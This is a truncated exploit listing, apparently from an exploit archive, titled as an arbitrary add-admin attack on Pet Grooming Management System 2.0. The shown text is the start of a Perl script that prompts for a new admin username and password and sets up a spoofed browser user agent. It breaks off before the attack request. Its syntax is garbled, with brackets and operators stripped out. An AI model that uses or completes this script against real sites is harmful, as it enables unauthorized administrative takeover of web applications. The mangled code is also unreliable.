Pet Grooming Management System 2.0 - Arbitrary Add Admin

!/usr/bin/perl use strict; use LWP::UserAgent; print "-+- Pet Grooming Management System ; print "\nEnter Usernamecreate your admin username: "; chompmy $user=; print "\nEnter Passwordcreate your admin password: "; chompmy $pass=; my $ua = LWP::UserAgent-new agent = 'Mozilla/4.0 compatible; MSIE...